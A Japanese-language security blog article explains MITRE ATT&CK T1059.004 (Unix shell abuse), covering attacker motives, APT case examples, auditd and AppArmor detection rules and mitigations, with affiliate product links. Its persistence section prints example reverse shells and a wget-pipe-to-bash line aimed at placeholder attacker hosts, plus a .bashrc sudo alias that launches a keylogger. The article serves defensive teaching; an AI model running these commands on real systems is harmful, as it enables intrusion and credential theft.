T1059.004 Unix Shell(bash/sh)を悪用した攻撃手法と検知方法【MITRE ATT&CK】

T1059.004Tactic: Execution (TA0002)|ATT&CK v16|非公式日本語解説

※本記事にはアフィリエイトリンクが含まれます。詳しくはプライバシーポリシー・広告掲載についてをご覧ください。

MITRE ATT&CK T1059.004「Unix Shell」は、攻撃者がLinuxやmacOS環境で標準搭載されているbash・sh・zshなどのUnixシェルを悪用して不正なコマンドを実行する攻撃手法です。Unixシェルはほぼすべてのサーバーやワークステーションにプリインストールされており、管理者が日常的に使うツールであるため、攻撃の痕跡が正規の操作に紛れやすいという特徴があります。本記事では、T1059.004の定義から具体的な攻撃手法、実際のAPTグループによる悪用事例、そして検知・防御方法まで包括的に解説します。

T1059.004 Unix Shellとは?(MITRE ATT&CK定義)

MITRE ATT&CKフレームワークにおけるT1059.004は、T1059 Command and Scripting Interpreterのサブテクニックの一つです。攻撃者がUnixシェル(bash、sh、zsh、csh、tcshなど)を利用して、ターゲットシステム上でコマンドやスクリプトを実行する手法を指します。

Unixシェルは、Linux・macOS・BSD系OSに標準搭載されるコマンドラインインタプリタであり、ファイル操作、プロセス管理、ネットワーク通信など、OSのほぼすべての機能にアクセスできます。攻撃者はこの強力な機能を悪用し、初期侵入後のペイロード実行から永続化、データ窃取まで多様な目的に利用します。

MITRE ATT&CKの公式定義は、MITRE ATT&CK T1059.004 Unix Shellをご参照ください。

攻撃者がUnix Shellを悪用する理由

あらゆるシステムに標準搭載されている

bashやshは、Linuxディストリビューション・macOS・コンテナイメージなどほぼすべてのUnix系環境に標準でインストールされています。攻撃者は追加のツールをダウンロードすることなく、侵入直後からシェルを利用して偵察やラテラルムーブメントを実行できます。

強力なスクリプティング機能

シェルスクリプトは、変数・条件分岐・ループ・関数・パイプラインなど高度なプログラミング機能を備えています。攻撃者はこれらを組み合わせて、システム偵察スクリプト、データ収集ツール、自動化されたエクスプロイトチェーンを容易に構築できます。

正規の管理操作との区別が困難

システム管理者が日常的にシェルを使用するため、攻撃者のシェル操作が正規の管理操作に紛れやすくなります。単純なログ監視だけでは、悪意のあるコマンド実行と正常な管理操作を区別することが難しいのが現状です。

バックドアと永続化が容易

シェルスクリプトをcrontabや.bashrc、systemdサービスに仕込むことで、攻撃者はシステム再起動後も持続するバックドアを簡単に設置できます。これらの設定ファイルは管理者が頻繁に確認するものではないため、長期間検知されないリスクがあります。

シェルスクリプトによるバックドア・永続化の手法

crontabを利用した永続化

攻撃者はcrontabにリバースシェルを登録し、定期的にC2サーバーへの接続を試みます。以下は典型的な手法です:

# 攻撃者がcrontabに仕込むリバースシェルの例
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# 別の手法:wgetでスクリプトをダウンロードして実行
*/10 * * * * wget -q -O- http://ATTACKER_DOMAIN/payload.sh | bash

このようなcrontabエントリは、crontab -lで確認できますが、各ユーザーのcrontabを定期的に監査していなければ見逃される可能性があります。

.bashrc / .profileを利用した永続化

攻撃者はユーザーのシェル初期化ファイル(.bashrc、.bash_profile、.profile、.zshrc)に悪意のあるコードを追記します。ユーザーがログインするたびにバックドアコードが自動実行されます。

# .bashrcに追記されるバックドアの例
export PATH="/tmp/.hidden_bin:$PATH"
# 一見無害なエイリアスに偽装
alias sudo='function _sudo(){ /tmp/.keylogger "$@"; command sudo "$@"; };_sudo'

リバースシェルの手法

Unixシェルを利用した代表的なリバースシェル手法は多数存在します:

# bashによるリバースシェル
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

# パイプを使ったリバースシェル
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f

# Pythonを経由したシェル起動(T1059.006との組み合わせ)
python3 -c 'import os; os.system("/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\"")'

Python経由のシェル起動については、T1059.006 Pythonを悪用した攻撃手法と検知方法もあわせてご覧ください。

実際の攻撃グループによるUnix Shell悪用事例

複数のAPTグループがUnixシェルを攻撃ツールチェーンの中核として利用しています。

APT32(OceanLotus)

ベトナムに関連するとされるAPT32は、Linuxサーバーへの侵入後にbashスクリプトを利用してバックドアの設置やデータ収集を実行することが確認されています。シェルスクリプトでシステム情報を収集し、C2サーバーへ送信する手法が報告されています。

TeamTNT

クラウド環境を標的とするTeamTNTは、bashスクリプトを多用してDockerコンテナやKubernetes環境に侵入します。クリプトマイナーの設置、SSHキーの窃取、ラテラルムーブメントのすべてをシェルスクリプトで自動化していることが特徴です。

Rocke Group

クリプトジャッキングで知られるRocke Groupは、bashスクリプトを使用してセキュリティソフトの無効化、競合するマイナーの停止、自身のマイナーのインストールを一連のスクリプトで実行します。crontabを利用した永続化も確認されています。

Lazarus Group

北朝鮮に関連するLazarus Groupは、LinuxおよびmacOS環境でシェルスクリプトを使用した攻撃を展開しています。初期侵入後のペイロードダウンロードやシステム偵察にbashコマンドを使用する事例が複数報告されています。

Unix Shell攻撃の検知方法

auditdによるコマンド実行監視

Linuxのauditdフレームワークは、execveシステムコールを監視することで、すべてのコマンド実行を記録できます。

# /etc/audit/audit.rules に追加
-a always,exit -F arch=b64 -S execve -k shell_exec
-a always,exit -F arch=b32 -S execve -k shell_exec

# bash実行の監視
-w /bin/bash -p x -k bash_execution
-w /bin/sh -p x -k sh_execution
-w /bin/zsh -p x -k zsh_execution

auditdのログは/var/log/audit/audit.logに出力され、ausearchコマンドで検索可能です。SIEM(Security Information and Event Management)と連携することで、異常なシェル実行パターンをリアルタイムに検知できます。

Syslog・bash履歴の監視

bashの履歴機能を強化することで、攻撃者のコマンド操作を記録・追跡できます。

# /etc/profile.d/bash_audit.sh に設定
export HISTTIMEFORMAT="%F %T "
export HISTSIZE=100000
export HISTFILESIZE=100000
shopt -s histappend
export PROMPT_COMMAND='history -a; logger -t bash -p auth.info "user=$(whoami) cmd=$(history 1)"'

上記の設定により、すべてのbashコマンドがsyslogに転送され、集中ログ管理サーバーで監視できるようになります。ただし、攻撃者がunset HISTFILEHISTSIZE=0を実行して履歴を無効化する可能性があるため、auditdとの併用が推奨されます。

EDR(Endpoint Detection and Response)の活用

Linux対応のEDR製品は、プロセスの親子関係やコマンドライン引数を分析し、不審なシェル実行を検知します。特に以下のパターンは高い確度で攻撃を示唆します:

  • Webサーバープロセス(apache、nginx)からのシェル起動
  • /dev/tcp/を含むbashコマンドの実行
  • base64デコード後のシェル実行(echo ... | base64 -d | bash
  • 一時ディレクトリ(/tmp、/dev/shm)からのスクリプト実行
  • 通常と異なるユーザーアカウントからのシェル起動

Unix Shell攻撃への緩和策

制限付きシェル(Restricted Shell)の導入

rbash(restricted bash)を利用することで、ユーザーが実行できるコマンドやアクセスできるディレクトリを制限できます。サービスアカウントには必要最小限の権限のシェルを割り当てることが重要です。シェルが不要なアカウントには/sbin/nologin/bin/falseを設定しましょう。

AppArmor / SELinuxによるアクセス制御

MAC(Mandatory Access Control)フレームワークを活用することで、プロセスがアクセスできるファイルやネットワーク接続を厳密に制御できます。Webサーバーやアプリケーションサーバーのプロファイルを適切に設定し、不要なシェル起動を防止することが効果的です。

# AppArmorプロファイルの例(Webサーバーからのシェル実行を禁止)
/usr/sbin/nginx {
  # シェルの実行を拒否
  deny /bin/bash rx,
  deny /bin/sh rx,
  deny /bin/dash rx,
  deny /bin/zsh rx,
}

スクリプトのホワイトリスト化

fapolicyd(File Access Policy Daemon)やIMA(Integrity Measurement Architecture)を利用して、承認済みのスクリプトのみ実行を許可する仕組みを構築できます。信頼されたスクリプトにのみ実行権限を付与し、未知のスクリプトの実行を検知・ブロックすることで、攻撃者が持ち込んだスクリプトの実行を防止します。

ネットワークレベルの対策

リバースシェルの多くはアウトバウンド接続を利用するため、egress(出口)フィルタリングが有効です。サーバーからのアウトバウンド接続を必要最小限のIPアドレス・ポートに制限することで、リバースシェルの確立を防止できます。

関連するATT&CKテクニック

Unix Shell攻撃は、他のATT&CKテクニックと組み合わせて使用されることが多いです。関連テクニックも理解しておきましょう。

おすすめセキュリティ対策ツール

本記事で紹介した対策を実施するうえで役立つ製品をご紹介します。

🛡️ まず今日から始めるなら:エンドポイント保護ソフトの導入
Unix Shellを悪用したLinux/macOS攻撃を検知するために、信頼性の高いセキュリティソフトの導入を強くお勧めします。

  • ESET(イーセット) — 誤検知が少なく軽量。中小企業に人気のコスパ重視セキュリティソフト ※PR
  • ウイルスバスター — 日本語サポートが充実。国産ソフトで中小企業導入実績多数 ※PR
  • Norton(ノートン) — 世界最大手のセキュリティベンダー。VPN機能も含む総合対策 ※PR

※ 上記はアフィリエイトリンクです。料金・機能は各公式サイトで必ずご確認ください。

まとめ

T1059.004 Unix Shellは、Linux/macOS環境における最も基本的かつ広く悪用される攻撃手法の一つです。以下のポイントを押さえて対策を進めましょう。

  • bashやshはほぼすべてのUnix系OSに搭載されており、攻撃者は追加ツールなしでコマンド実行が可能
  • crontab・.bashrc・systemdを利用した永続化が容易であり、定期的な監査が不可欠
  • auditdによるexecve監視とbash履歴のsyslog転送を組み合わせた多層的な検知が有効
  • AppArmor/SELinuxによるMACでWebサーバー等からのシェル起動を制限し、攻撃面を縮小
  • egress フィルタリングでリバースシェルの確立を防止し、侵害の拡大を阻止

Based on MITRE ATT&CK® v16, © The MITRE Corporation. Licensed under Apache License 2.0.

※本サイトはMITRE非公式の解説サイトです

参考リンク


Based on MITRE ATT&CK® v16, © The MITRE Corporation. Licensed under Apache License 2.0.
本ページは非公式翻訳・解説です。正確な情報はMITRE公式サイトをご参照ください。

コメント

タイトルとURLをコピーしました